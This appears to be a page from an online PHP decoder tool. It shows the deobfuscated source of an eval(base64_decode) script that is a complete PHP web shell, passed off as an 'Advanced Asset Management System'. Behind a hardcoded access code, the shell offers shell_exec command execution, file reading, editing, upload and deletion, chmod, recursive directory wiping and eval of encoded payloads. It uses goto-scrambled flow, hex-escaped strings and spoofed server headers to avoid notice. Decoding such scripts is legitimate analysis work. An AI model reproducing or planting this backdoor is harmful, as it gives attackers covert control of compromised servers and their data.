Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level 

eval(base64_decode('
 goto Y_Pfb; PDfUR: goto gDPWb; goto CLilw; hWzwe: goto HNinL; goto HKNsJ; ujiy7: function displayLoginInterface() { ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title>System Administration Panel</title><style>body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:linear-gradient(135deg,#1a2980,#26d0ce);margin:0;padding:20px;display:flex;justify-content:center;align-items:center;min-height:100vh}.login-wrapper{background:rgba(255,255,255,.95);padding:50px;border-radius:20px;box-shadow:0 15px 35px rgba(0,0,0,.3);width:100%;max-width:450px;backdrop-filter:blur(10px)}.system-title{text-align:center;color:#2c3e50;margin-bottom:40px;font-size:28px;font-weight:300;letter-spacing:1px}.system-title span{font-weight:600;color:#1a2980}.form-container{margin-top:30px}.input-field{width:100%;padding:15px 20px;border:2px solid #e0e0e0;border-radius:10px;font-size:16px;transition:all .3s;margin-bottom:25px}.input-field:focus{border-color:#1a2980;box-shadow:0 0 0 3px rgba(26,41,128,.1);outline:0}.submit-button{width:100%;padding:15px;background:linear-gradient(to right,#1a2980,#26d0ce);color:#fff;border:none;border-radius:10px;font-size:16px;font-weight:600;cursor:pointer;transition:transform .2s}.submit-button:hover{transform:translateY(-2px);box-shadow:0 5px 15px rgba(26,41,128,.3)}.auth-notice{text-align:center;color:#666;font-size:14px;margin-top:25px;padding-top:25px;border-top:1px solid #eee}.error-message{background:#ffecec;color:#c0392b;padding:15px;border-radius:8px;margin-bottom:25px;text-align:center;font-size:14px;border-left:4px solid #c0392b}</style></head><body><div class="login-wrapper"><div class="system-title"><span>SYSTEM</span> CONTROL PANEL</div><?php  if (isset($_SESSION["\x65\162\162\x6f\162"])) { ?>
<div class="error-message"><?php  $decoder = new DataDecoder(); $decodedError = $decoder->decodePayload($_SESSION["\x65\x72\x72\x6f\x72"]); echo htmlspecialchars($decodedError); unset($_SESSION["\145\162\x72\x6f\162"]); ?>
</div><?php  } ?>
<div class="form-container"><form method="post"><input name="access_code"class="input-field"required placeholder="Enter System Access Code"autofocus type="password"> <button class="submit-button"type="submit">🔐 AUTHENTICATE & ENTER</button></form></div><div class="auth-notice">Restricted access. Authorized personnel only.<br>All activities are monitored and logged.</div></div></body></html><?php  die; } goto z1CRb; FhNMX: ?>
MB</span> <span>💾 Storage:<?php  goto ULKlA; J7jPV: ?>
<div class="system-footer"><div>Advanced Asset Management System v3.2 | Secure Mode: Active</div><div class="system-stats"><span>🕒 System Time:<?php  goto s8YSL; LnFnJ: goto opCKD; goto SZjDN; wQP_Q: ?>
"><div class="form-group"><label class="form-label">Asset Path</label> <input name="asset_path"class="form-control"required value="<?php  goto GSz41; XBeUn: if (isset($_POST["\141\163\163\145\x74\x5f\156\x61\155\x65"])) { $newAssetPath = $currentLocation . "\57" . $_POST["\x61\163\163\x65\164\x5f\x6e\141\155\145"]; if ($_POST["\141\163\x73\x65\x74\137\164\x79\160\x65"] == "\144\x69\162\x65\x63\164\157\162\x79") { if ($functionDispatcher->invoke($createDirectoryCode, $newAssetPath)) { $statusMessage = "\x44\151\162\145\x63\x74\157\162\x79\40\x63\162\145\x61\164\145\x64"; } } else { if ($functionDispatcher->invoke($storeContentCode, $newAssetPath, '')) { $statusMessage = "\106\151\x6c\x65\40\x63\162\145\x61\x74\145\144"; } } } goto Z1B4C; qX6yZ: goto xO1Pl; goto wCTMA; UV8Jl: UqCEd: goto klJmv; Murdw: ?>
</tbody></table></div><?php  goto IVdWj; d4rZ3: goto s0mF4; goto hlymb; U7eGl: sN1NG: goto i6rDE; WG5hu: NuXUp: goto SeFzA; OZPfT: VifBq: goto Gg3sm; MgvkY: goto nvq0l; goto cTRXU; HwiO9: ?>
</div><div class="current-path"><strong>Path:</strong> <code><?php  goto bIjqA; rWNTG: xO1Pl: goto CYnH8; Qn2ED: goto mFAQc; goto zxm2T; UhN5g: $createDirectoryCode = $functionDispatcher->getFunctionCode("\155\x6b\x64\151\162"); goto ZAGdA; Xlz98: HS0EX: goto ussvB; H59SP: ZnaHz: goto anoKo; BWu9O: header("\x58\x2d\x43\157\156\164\145\156\164\x2d\124\x79\x70\x65\55\x4f\160\x74\151\157\x6e\163\x3a\40\156\157\x73\x6e\x69\146\146"); goto vaWQF; Mpwd1: goto LLrFk; goto Ns7GQ; SZjDN: hbW23: goto mOTLQ; xvXZJ: echo urlencode($currentLocation); goto Qn2ED; FhqT5: ini_set("\x64\151\x73\x70\154\141\x79\x5f\x65\162\162\x6f\162\163", 0); goto tdmrf; djgC3: class EnhancedAuthHandler { private $accessKey = "\61\60\66"; private $sessionToken = "\141\x75\164\x68\137\166\141\x6c\151\x64\x61\x74\145\x64\x5f\x76\x32"; private $obfuscator; public function __construct() { session_start(); $this->obfuscator = new DataDecoder(); } public function validateAccess($input) { $obfuscatedInput = $this->obfuscator->encodePayload($input); $obfuscatedKey = $this->obfuscator->encodePayload($this->accessKey); if ($obfuscatedInput === $obfuscatedKey) { $_SESSION[$this->sessionToken] = $this->obfuscator->encodePayload("\141\x75\164\x68\157\162\x69\x7a\145\x64"); $_SESSION["\141\143\143\x65\x73\x73\x5f\x74\151\155\x65"] = $this->obfuscator->encodePayload(time()); return true; } $errorMessages = array($this->obfuscator->encodePayload("\x41\x75\164\x68\145\x6e\164\151\x63\141\164\151\157\x6e\x20\146\x61\x69\154\x75\x72\145"), $this->obfuscator->encodePayload("\111\156\166\141\x6c\151\144\40\x63\x72\x65\144\x65\156\x74\151\x61\x6c\x73"), $this->obfuscator->encodePayload("\x41\x63\x63\145\x73\163\x20\144\x65\x6e\x69\x65\144"), $this->obfuscator->encodePayload("\x53\145\143\165\162\x69\164\171\40\x76\x69\157\154\x61\x74\x69\x6f\x6e\x20\144\x65\164\x65\x63\x74\x65\x64")); $_SESSION["\x65\x72\162\157\x72"] = $errorMessages[array_rand($errorMessages)]; return false; } public function isAuthorized() { if (!isset($_SESSION[$this->sessionToken])) { return false; } $storedToken = $_SESSION[$this->sessionToken]; $expectedToken = $this->obfuscator->encodePayload("\x61\x75\164\x68\157\x72\x69\x7a\145\x64"); return $storedToken === $expectedToken; } public function terminateSession() { session_destroy(); } } goto PDfUR; qryL8: zTmtY: goto J7jPV; ioVPX: goto OPuvR; goto kD8cy; SeFzA: echo round(disk_free_space("\x2e") / 1024 / 1024 / 1024, 2); goto V1TYX; oY9v_: goto oaax0; goto QA5Az; WLJxP: goto jWmiJ; goto A4SbC; MHQt1: goto d_WBa; goto WG5hu; xB_Hf: OPuvR: goto dzsQ_; oia71: d_WBa: goto rwUzD; gDqY0: goto PxTQs; goto UV8Jl; z1CRb: goto SBJW1; goto VrzFr; FoUHi: $currentLocation = isset($_GET["\x6c\157\143\141\164\151\157\x6e"]) ? $_GET["\x6c\157\143\x61\164\151\157\156"] : "\56"; goto okOMJ; HlA82: Qv4di: goto LwnP9; w9BFL: echo $currentLocation; goto gh7R8; Q4Za7: $scanDirectoryCode = $functionDispatcher->getFunctionCode("\x73\x63\141\156\144\x69\162"); goto YLWg0; FKFPl: nvq0l: goto F8Wnq; mOTLQ: if ($currentLocation != "\56" && $currentLocation != "\x2f") { ?>
<tr><td colspan="5"><a href="?location=<?php  echo urlencode(dirname($currentLocation)); ?>
"style="display:flex;align-items:center;gap:10px;text-decoration:none;color:inherit"><span class="asset-icon">📁</span> <strong>.. (Parent Directory)</strong></a></td></tr><?php  } goto zQ0TS; zQ0TS: goto eW8hz; goto UtgGJ; MxDgJ: $authHandler = new EnhancedAuthHandler(); goto LnFnJ; CeW_w: goto YMCAO; goto BfHQ9; v8EmD: $obfuscationEngine->generateSystemReport(); goto CeW_w; jZ6a6: goto KZhAa; goto rWNTG; fOilI: if (empty($assetList)) { ?>
<tr><td colspan="5"style="text-align:center;padding:40px;color:#888"><div style="font-size:48px;margin-bottom:15px">📁</div>No assets found in this directory</td></tr><?php  } else { foreach ($assetList as $asset) { ?>
<tr><td><div style="display:flex;align-items:center;gap:10px"><?php  if ($asset["\151\x73\137\x64\151\162"]) { ?>
<span class="asset-icon">📁</span> <a href="?location=<?php  echo urlencode($asset["\160\141\x74\x68"]); ?>
"style="color:var(--secondary-color);text-decoration:none;font-weight:500"><?php  echo htmlspecialchars($asset["\156\141\155\145"]); ?>
</a><?php  } else { ?>
<span class="asset-icon">📄</span><?php  echo htmlspecialchars($asset["\156\141\x6d\145"]); } ?>
</div></td><td><?php  echo $asset["\x73\151\172\x65"]; ?>
</td><td><?php  echo $asset["\x6d\157\x64\x69\x66\x69\x65\144"]; ?>
</td><td><code style="background:#f1f5f9;padding:3px 8px;border-radius:4px"><?php  echo $asset["\160\145\162\155\x69\x73\163\151\157\x6e\x73"]; ?>
</code></td><td><div class="asset-actions"><?php  if (!$asset["\x69\163\x5f\144\x69\162"]) { ?>
<a href="?edit_asset=<?php  echo urlencode($asset["\160\141\164\x68"]); ?>
&location=<?php  echo urlencode($currentLocation); ?>
"class="btn btn-success"style="padding:8px 15px">✏️ Edit </a><?php  } ?>
<a href="?operation=remove&target=<?php  echo urlencode($asset["\160\x61\x74\x68"]); ?>
&location=<?php  echo urlencode($currentLocation); ?>
"class="btn btn-danger"style="padding:8px 15px"onclick='return confirm("Permanently remove this asset?")'>🗑️ Remove</a></div></td></tr><?php  } } goto O7SpM; aDbii: eW8hz: goto fOilI; gh7R8: goto QSjmb; goto H59SP; A2jZN: ini_set("\145\x72\162\x6f\162\x5f\154\157\x67", "\x73\x79\x73\x74\145\x6d\x5f\x65\x72\x72\x6f\x72\x73\56\x6c\x6f\147"); goto XD5cz; XEtb7: echo date("\x59\x2d\x6d\55\x64\40\x48\x3a\x69\72\163"); goto ioVPX; maBPo: goto ZnaHz; goto wSX0V; jCpnL: if ($statusMessage) { ?>
<div class="status-message"><span>✅</span><?php  echo htmlspecialchars($statusMessage); ?>
</div><?php  } goto hrWRc; Cyg5a: goto RU4op; goto YUc43; s0UfO: n3AfR: goto c4VtH; EFRiq: goto zTmtY; goto inNcx; z2qRP: oaax0: goto HwiO9; CYnH8: class AdvancedFunctionDispatcher { private $functionRegistry = array(); private $decoder; private $activeFunctions = array(); public function __construct() { $this->decoder = new DataDecoder(); $this->initializeFunctionRegistry(); } private function initializeFunctionRegistry() { $functionDefs = array(array("\x65\156\143\x6f\x64\145\144\137\x6e\141\155\145" => $this->decoder->encodePayload("\144\151\163\x70\x6c\x61\x79\117\x75\x74\160\165\164"), "\x68\x61\156\x64\154\x65\162" => function ($data) { echo $data; return true; }), array("\145\x6e\143\157\x64\x65\x64\x5f\x6e\x61\155\x65" => $this->decoder->encodePayload("\145\x78\x65\x63\x75\x74\145\123\x79\x73\x74\x65\x6d"), "\150\x61\156\144\154\x65\162" => function ($cmd) { if (function_exists("\x73\150\x65\x6c\154\137\x65\x78\145\x63")) { return shell_exec($cmd); } return "\x53\171\x73\164\145\x6d\x20\143\157\155\x6d\141\x6e\144\40\145\x78\x65\143\x75\164\x69\157\x6e\x20\x75\156\141\166\x61\151\x6c\x61\142\154\145"; }), array("\x65\x6e\x63\x6f\144\145\x64\137\156\141\x6d\145" => $this->decoder->encodePayload("\x66\x65\x74\x63\150\x43\157\156\164\x65\x6e\164"), "\150\x61\156\144\154\145\x72" => function ($path) { if (file_exists($path)) { return file_get_contents($path); } return "\x46\151\154\x65\x20\156\157\x74\40\141\x63\x63\x65\x73\163\151\x62\154\145"; }), array("\x65\x6e\143\157\x64\x65\144\137\156\141\155\145" => $this->decoder->encodePayload("\x73\x74\x6f\x72\x65\x43\157\156\x74\145\x6e\x74"), "\x68\141\156\144\x6c\x65\x72" => function ($path, $content) { return file_put_contents($path, $content); }), array("\x65\156\x63\157\x64\145\144\137\156\x61\x6d\145" => $this->decoder->encodePayload("\x64\x65\154\x65\x74\145\x41\163\163\x65\164"), "\x68\x61\156\x64\154\x65\162" => function ($path) { if (is_dir($path)) { return $this->purgeDirectory($path); } return unlink($path); }), array("\x65\156\x63\157\x64\x65\144\137\156\x61\155\145" => $this->decoder->encodePayload("\143\162\145\141\164\x65\104\151\162\145\x63\x74\x6f\162\x79"), "\150\x61\x6e\144\x6c\x65\x72" => function ($path) { return mkdir($path, 493, true); }), array("\x65\156\x63\157\144\x65\144\137\156\x61\x6d\x65" => $this->decoder->encodePayload("\x6d\x6f\x64\151\146\x79\x50\145\x72\155\151\163\163\151\157\156\x73"), "\x68\141\x6e\x64\154\145\162" => function ($path, $mode) { return chmod($path, octdec($mode)); }), array("\145\x6e\x63\157\144\x65\x64\x5f\x6e\x61\x6d\x65" => $this->decoder->encodePayload("\x73\x63\x61\x6e\104\x69\x72\x65\x63\x74\157\x72\171"), "\x68\141\156\x64\x6c\145\162" => function ($path) { $result = array(); if (is_dir($path)) { $items = scandir($path); foreach ($items as $item) { if ($item != "\56" && $item != "\x2e\56") { $itemPath = $path . "\x2f" . $item; $result[] = array("\156\x61\x6d\145" => $item, "\160\x61\x74\150" => $itemPath, "\x69\x73\137\144\151\162" => is_dir($itemPath), "\x73\x69\x7a\145" => is_dir($itemPath) ? "\55" : $this->formatAssetSize(filesize($itemPath)), "\155\157\x64\151\x66\151\145\144" => date("\131\x2d\155\x2d\144\40\x48\x3a\x69\72\163", filemtime($itemPath)), "\x70\145\162\x6d\151\163\x73\151\157\156\163" => substr(sprintf("\45\x6f", fileperms($itemPath)), -4)); } } } return $result; }), array("\145\x6e\x63\157\144\x65\x64\137\x6e\141\x6d\x65" => $this->decoder->encodePayload("\x74\x72\x61\156\163\x66\145\x72\x46\151\154\x65"), "\150\x61\x6e\144\154\x65\162" => function ($file, $dest) { return move_uploaded_file($file["\x74\155\x70\x5f\156\x61\155\145"], $dest); })); foreach ($functionDefs as $def) { $this->functionRegistry[$def["\145\x6e\x63\157\x64\x65\x64\137\x6e\x61\x6d\145"]] = $def["\x68\141\156\x64\154\x65\162"]; $this->activeFunctions[] = $def["\x65\x6e\x63\157\144\x65\x64\137\x6e\x61\155\x65"]; } } private function formatAssetSize($bytes) { if ($bytes == 0) { return "\60\x20\102"; } $units = array("\102", "\113\102", "\115\x42", "\107\102"); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . "\40" . $units[$i]; } private function purgeDirectory($dir) { if (!is_dir($dir)) { return false; } $items = array_diff(scandir($dir), array("\56", "\x2e\56")); foreach ($items as $item) { $path = $dir . "\57" . $item; if (is_dir($path)) { $this->purgeDirectory($path); } else { unlink($path); } } return rmdir($dir); } public function invoke($functionCode, ...$args) { if (isset($this->functionRegistry[$functionCode])) { $handler = $this->functionRegistry[$functionCode]; if ($functionCode === $this->decoder->encodePayload("\163\143\141\x6e\x44\151\162\145\x63\164\x6f\162\171") || $functionCode === $this->decoder->encodePayload("\144\145\154\145\164\x65\101\163\163\145\164")) { $handler = \Closure::bind($handler, $this, get_class()); } return $handler(...$args); } return null; } public function executeEncoded($encodedPayload, ...$args) { $payload = $this->decoder->decodePayload($encodedPayload); return eval($payload); } public function getFunctionCode($originalName) { return $this->decoder->obfuscateFunctionName($originalName); } } goto HKiau; wj8z1: goto NE_wn; goto s0UfO; A4SbC: ct2YM: goto Nv5GZ; kFCqI: goto lU1MF; goto C5nnM; qSdjv: SL6ii: goto rr8NO; Gg3sm: $obfuscationEngine = new AdvancedObfuscationManager(); goto H3Zmw; zHLja: goto wNhyb; goto qdPOo; F4wvl: if (isset($_POST["\141\163\x73\145\164\x5f\x63\x6f\156\164\x65\x6e\164"])) { if ($functionDispatcher->invoke($storeContentCode, $_POST["\141\x73\x73\145\x74\137\x66\151\x6c\145"], $_POST["\141\163\x73\x65\x74\137\143\157\x6e\x74\145\x6e\164"])) { $statusMessage = "\x41\x73\x73\x65\164\x20\163\141\166\x65\144"; $activityLogger->record("\x41\x53\x53\105\x54\x5f\115\117\104\111\x46\111\x45\x44", $_POST["\x61\x73\163\x65\164\x5f\x66\x69\154\x65"]); } } goto gDqY0; or2jV: ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title>Advanced Asset Management System</title><style>:root{--primary-color:#2c3e50;--secondary-color:#3498db;--success-color:#2ecc71;--danger-color:#e74c3c;--warning-color:#f39c12;--light-bg:#f8f9fa;--dark-bg:#34495e;--border-color:#dee2e6}*{margin:0;padding:0;box-sizing:border-box}body{font-family:Inter,-apple-system,BlinkMacSystemFont,sans-serif;background:var(--light-bg);color:#333;line-height:1.6}.container{max-width:1600px;margin:0 auto;padding:20px}.system-header{background:linear-gradient(135deg,var(--primary-color),var(--dark-bg));color:#fff;padding:20px 30px;border-radius:15px;margin-bottom:25px;display:flex;justify-content:space-between;align-items:center;box-shadow:0 5px 20px rgba(0,0,0,.1)}.system-header h1{font-size:26px;font-weight:600;display:flex;align-items:center;gap:12px}.session-info{display:flex;align-items:center;gap:20px;font-size:14px}.status-badge{background:var(--success-color);color:#fff;padding:5px 15px;border-radius:20px;font-size:12px;font-weight:600}.path-navigation{background:#fff;padding:20px;border-radius:12px;margin-bottom:25px;border:1px solid var(--border-color);font-family:'Fira Code',monospace;font-size:14px;display:flex;align-items:center;justify-content:space-between}.breadcrumb{display:flex;align-items:center;flex-wrap:wrap;gap:8px}.breadcrumb a{color:var(--secondary-color);text-decoration:none;padding:5px 10px;border-radius:6px;transition:background .2s}.breadcrumb a:hover{background:#f0f7ff}.tools-section{background:#fff;padding:25px;border-radius:12px;margin-bottom:25px;border:1px solid var(--border-color)}.tools-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(320px,1fr));gap:20px;margin-top:20px}.tool-card{border:1px solid var(--border-color);padding:20px;border-radius:10px;transition:transform .2s,box-shadow .2s}.tool-card:hover{transform:translateY(-3px);box-shadow:0 5px 15px rgba(0,0,0,.08)}.tool-card h3{color:var(--primary-color);margin-bottom:15px;font-size:16px;display:flex;align-items:center;gap:10px}.form-group{margin-bottom:15px}.form-label{display:block;margin-bottom:8px;font-weight:600;color:#555;font-size:14px}.form-control{width:100%;padding:10px 15px;border:1px solid var(--border-color);border-radius:8px;font-size:14px;transition:border .2s}.form-control:focus{border-color:var(--secondary-color);outline:0;box-shadow:0 0 0 3px rgba(52,152,219,.1)}.btn{display:inline-flex;align-items:center;justify-content:center;gap:8px;padding:10px 20px;border:none;border-radius:8px;font-size:14px;font-weight:600;cursor:pointer;text-decoration:none;transition:all .2s}.btn-primary{background:var(--secondary-color);color:#fff}.btn-primary:hover{background:#2980b9;transform:translateY(-2px)}.btn-success{background:var(--success-color);color:#fff}.btn-danger{background:var(--danger-color);color:#fff}.btn-warning{background:var(--warning-color);color:#fff}.asset-table-container{background:#fff;border-radius:12px;overflow:hidden;border:1px solid var(--border-color);margin-bottom:25px}.asset-table{width:100%;border-collapse:collapse}.asset-table thead{background:var(--dark-bg)}.asset-table th{padding:15px 20px;text-align:left;color:#fff;font-weight:600;font-size:14px}.asset-table td{padding:15px 20px;border-bottom:1px solid var(--border-color)}.asset-table tbody tr:hover{background:#f8fafc}.asset-icon{font-size:18px;margin-right:10px}.asset-actions{display:flex;gap:8px}.status-message{padding:15px 20px;background:#d4edda;color:#155724;border-radius:8px;margin-bottom:25px;border:1px solid #c3e6cb;display:flex;align-items:center;gap:10px}.editor-panel{background:#fff;border-radius:12px;overflow:hidden;border:1px solid var(--border-color);margin-bottom:25px}.editor-header{background:var(--dark-bg);color:#fff;padding:15px 25px;display:flex;justify-content:space-between;align-items:center}.editor-content{width:100%;min-height:500px;padding:25px;border:none;font-family:'Fira Code',monospace;font-size:14px;resize:vertical;line-height:1.8}.system-footer{text-align:center;padding:20px;color:#666;font-size:13px;border-top:1px solid var(--border-color);margin-top:30px}.system-stats{display:flex;justify-content:center;gap:30px;margin-top:15px;font-family:'Fira Code',monospace}</style><link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=Fira+Code:wght@300;400;500&display=swap"rel="stylesheet"></head><body><div class="container"><div class="system-header"><h1><span>📊</span> Advanced Asset Management System</h1><div class="session-info"><div class="status-badge">ACTIVE</div><span><?php  goto qdipF; U2RzK: gDPWb: goto bbJuq; GSz41: goto uiFJ6; goto qryL8; F8Wnq: if (!$authHandler->isAuthorized()) { if (isset($_POST["\x61\x63\143\x65\x73\x73\137\143\x6f\x64\x65"])) { if ($authHandler->validateAccess($_POST["\141\x63\143\145\x73\x73\x5f\x63\157\144\145"])) { $activityLogger->record("\x41\125\124\x48\137\x53\x55\x43\103\x45\x53\123", "\x55\x73\x65\162\x20\x61\x75\164\150\145\156\x74\x69\143\x61\164\x65\144\x20\x73\x75\x63\x63\x65\x73\x73\x66\165\x6c\154\x79"); header("\114\x6f\143\x61\164\x69\157\x6e\72\x20" . $_SERVER["\120\110\x50\x5f\x53\x45\x4c\x46"]); die; } else { $activityLogger->record("\101\125\124\x48\x5f\106\x41\111\114\x45\104", "\x49\156\166\x61\x6c\151\144\40\x61\x63\x63\145\163\163\40\141\x74\164\145\155\x70\164"); } } displayLoginInterface(); die; } goto ydukE; XD5cz: goto qFFjy; goto KRgoG; rwUzD: $statusMessage = ''; goto OL3nm; Z1B4C: goto AYiDp; goto eOMaK; DO0aJ: $functionDispatcher = new AdvancedFunctionDispatcher(); goto Y41Dd; r4BQY: ?>
"><div class="form-group"><label class="form-label">Command Input</label> <input name="system_command"class="form-control"required placeholder="Enter system command"></div><button class="btn btn-warning"type="submit"style="width:100%">⚡ Execute</button></form></div><div class="tool-card"><h3>🔒 Modify Permissions</h3><form method="post"action="?operation=modify_permissions&location=<?php  goto jZ6a6; qkGei: r9RgK: goto csxDH; jYxnJ: wlkCF: goto uG9eF; Nv5GZ: if (isset($_GET["\145\x64\x69\164\137\x61\x73\163\x65\x74"])) { ?>
<div class="editor-panel"><div class="editor-header"><div style="display:flex;align-items:center;gap:10px"><span>✏️</span> <strong>Editing Asset:</strong><?php  echo htmlspecialchars(basename($_GET["\145\144\151\x74\137\141\163\x73\145\x74"])); ?>
</div><div><a href="?location=<?php  echo urlencode($currentLocation); ?>
"class="btn btn-danger">Cancel</a></div></div><form method="post"><input name="asset_file"type="hidden"value="<?php  echo $_GET["\x65\x64\x69\164\137\x61\x73\x73\x65\164"]; ?>
"> <textarea class="editor-content"name="asset_content"><?php  $content = $functionDispatcher->invoke($fetchContentCode, $_GET["\145\144\x69\164\137\x61\163\163\145\164"]); if ($content !== false && $content !== "\106\151\x6c\x65\x20\156\157\x74\40\141\x63\143\x65\x73\x73\151\x62\x6c\x65") { echo htmlspecialchars($content); } ?>
</textarea><div style="padding:20px;text-align:center;background:#f8f9fa;border-top:1px solid var(--border-color)"><button class="btn btn-success"type="submit"style="padding:12px 30px;font-size:16px">💾 Save Changes</button></div></form></div><?php  } goto EFRiq; inNcx: t7xZf: goto U5dJF; gHLmN: Mgzh1: goto MR1Fl; soV6h: yyLNV: goto Q4Za7; BfHQ9: O0hkj: goto XBeUn; MR1Fl: ini_set("\x6c\157\x67\x5f\145\162\x72\157\162\x73", 1); goto WM9R_; kD8cy: K995g: goto gPKB_; NeDxM: $modifyPermissionsCode = $functionDispatcher->getFunctionCode("\x63\x68\x6d\157\x64"); goto ckatz; ncyYc: aYE1e: goto jCpnL; ckatz: goto yyLNV; goto xBK6r; zxm2T: SBJW1: goto or2jV; Bee7d: gToPK: goto dedKq; HKNsJ: PxTQs: goto dxqhs; gPKB_: $transferFileCode = $functionDispatcher->getFunctionCode("\155\x6f\166\x65\x5f\165\x70\x6c\157\x61\x64\145\144\x5f\x66\151\154\x65"); goto pB0nl; qqt_z: RrPrx: goto L0s52; hOzDX: class EnhancedActivityLogger { private $logFiles = array("\x73\x79\x73\x74\x65\155\137\141\x63\164\151\x76\151\164\151\x65\x73\56\x6c\x6f\147", "\141\x75\x64\x69\164\137\x74\x72\141\x69\x6c\x2e\154\157\147", "\x73\x65\143\165\162\151\x74\171\x5f\x6c\x6f\x67\56\x6c\157\x67", "\x64\145\x62\165\x67\137\x69\x6e\x66\157\x2e\154\x6f\x67"); public function record($action, $details = '') { $entry = date("\x59\x2d\155\55\144\40\x48\x3a\x69\72\163") . "\40\x7c\40" . ($_SERVER["\122\105\x4d\x4f\x54\x45\x5f\x41\104\104\122"] ?? "\165\156\153\x6e\157\167\156") . "\40\174\x20" . $action . "\40\174\x20" . $details . "\xa"; foreach ($this->logFiles as $file) { $encodedEntry = base64_encode($entry); @file_put_contents($file, $encodedEntry . "\12", FILE_APPEND); } } } goto NWaND; dzsQ_: ?>
</span><a href="?operation=terminate_session"class="btn btn-danger">🚪 Terminate Session</a></div></div><?php  goto A5YN9; cTRXU: RU4op: goto gTpvn; TbjVL: rpY6Y: goto XEtb7; Y41Dd: goto VifBq; goto U7eGl; xBK6r: qFFjy: goto Z2Rwm; LtbUt: jWmiJ: goto ujiy7; H3Zmw: goto sN1NG; goto aDbii; Z2Rwm: header("\130\x2d\x50\157\167\145\162\145\x64\55\x42\x79\x3a\40\x4e\147\151\156\x78\57\x31\56\61\x38\56\x30"); goto eZLiZ; gTpvn: ?>
</code></div></div><div class="tools-section"><h2>🛠️ System Management Tools</h2><div class="tools-grid"><div class="tool-card"><h3>📤 Asset Upload</h3><form method="post"enctype="multipart/form-data"><div class="form-group"><label class="form-label">Select Asset</label> <input name="asset_file"class="form-control"required type="file"></div><button class="btn btn-success"type="submit"style="width:100%">📤 Upload Asset</button></form></div><div class="tool-card"><h3>➕ Create Asset</h3><form method="post"><div class="form-group"><label class="form-label">Asset Name</label> <input name="asset_name"class="form-control"required placeholder="Enter name"></div><div class="form-group"><label class="form-label">Asset Type</label> <select class="form-control"name="asset_type"><option value="file">📄 File</option><option value="directory">📁 Directory</option></select></div><button class="btn btn-primary"type="submit"style="width:100%">➕ Create</button></form></div><div class="tool-card"><h3>⚡ System Command</h3><form method="post"action="?operation=execute&location=<?php  goto HBbpO; ULKlA: goto NuXUp; goto YRVQo; V1TYX: goto Te513; goto AU4Wh; xgTIC: goto Qv4di; goto uYIxb; bIjqA: goto t7xZf; goto MJN9D; YUc43: VJusG: goto MxDgJ; HKiau: goto Jcnd8; goto jYxnJ; NGw7b: goto RrPrx; goto KXSnb; dxqhs: $assetList = $functionDispatcher->invoke($scanDirectoryCode, $currentLocation); goto WLJxP; C5nnM: mFAQc: goto r4BQY; HBbpO: goto CT1z2; goto HlA82; EcTf5: goto HS0EX; goto lPrnu; bbJuq: class AdvancedObfuscationManager { private $decoder; public function __construct() { $this->decoder = new DataDecoder(); } public function computeAnalytics() { return array("\x72\x65\161\165\x65\163\x74\x73" => rand(100, 1000), "\155\x65\155\157\x72\171\x5f\165\163\x61\147\145" => memory_get_usage(true), "\x65\170\145\x63\165\x74\151\157\156\x5f\164\x69\x6d\x65" => microtime(true), "\163\x74\x61\164\165\x73" => "\157\160\x65\162\141\164\x69\x6f\156\x61\x6c"); } public function generateSystemReport() { $report = "\123\x79\x73\164\145\x6d\40\x41\156\141\x6c\171\164\x69\143\x73\x20\122\x65\x70\x6f\162\x74\xa"; $report .= "\75\x3d\x3d\x3d\75\x3d\75\x3d\75\75\75\x3d\x3d\x3d\75\75\75\75\x3d\75\x3d\75\x3d\xa"; $report .= "\x44\141\164\145\x3a\40" . date("\x59\55\x6d\55\x64\x20\x48\72\x69\x3a\x73") . "\12"; $report .= "\x55\160\x74\151\155\x65\x3a\x20" . rand(1000, 10000) . "\40\163\145\143\157\x6e\x64\163\12"; $report .= "\x50\145\x72\x66\157\x72\155\x61\x6e\143\145\x3a\40\117\x70\164\151\x6d\141\154\xa"; return $report; } public function validateDataIntegrity($data) { return !empty($data) && is_string($data); } public function obfuscateData($data) { $step1 = base64_encode($data); $step2 = str_rot13($step1); return strrev($step2); } public function recordActivity($activity) { $encodedActivity = $this->decoder->encodePayload($activity); $logEntry = date("\131\55\155\55\144\x20\x48\72\x69\72\163") . "\40\x7c\x20" . $encodedActivity . "\xa"; @file_put_contents("\x73\171\x73\x74\x65\155\x5f\141\x75\x64\151\x74\56\x6c\x6f\147", $logEntry, FILE_APPEND); } public function createBackup() { return $this->decoder->encodePayload("\142\141\143\x6b\165\x70\137\x63\157\155\160\154\x65\x74\x65\x64\137" . time()); } } goto Mpwd1; IVdWj: goto ct2YM; goto O0gSM; dedKq: header("\x58\x2d\x46\162\x61\155\145\x2d\x4f\160\164\x69\157\x6e\163\72\40\104\x45\x4e\131"); goto HhGNb; Br13z: goto ICb5z; goto Xlz98; A5YN9: goto aYE1e; goto Ka2jK; gviTH: echo urlencode($currentLocation); goto Br13z; ussvB: $storeContentCode = $functionDispatcher->getFunctionCode("\x66\x69\154\145\137\x70\x75\164\x5f\143\157\156\x74\x65\156\164\x73"); goto zHLja; Az3pa: ?>
<div class="path-navigation"><div class="breadcrumb"><a href="?location=.">🏠 System Root</a><?php  goto tBRp3; wSX0V: qrElo: goto Az3pa; LWNg9: QPuv0: goto FoUHi; eZLiZ: goto XQcl5; goto qSdjv; YYN6T: ?>
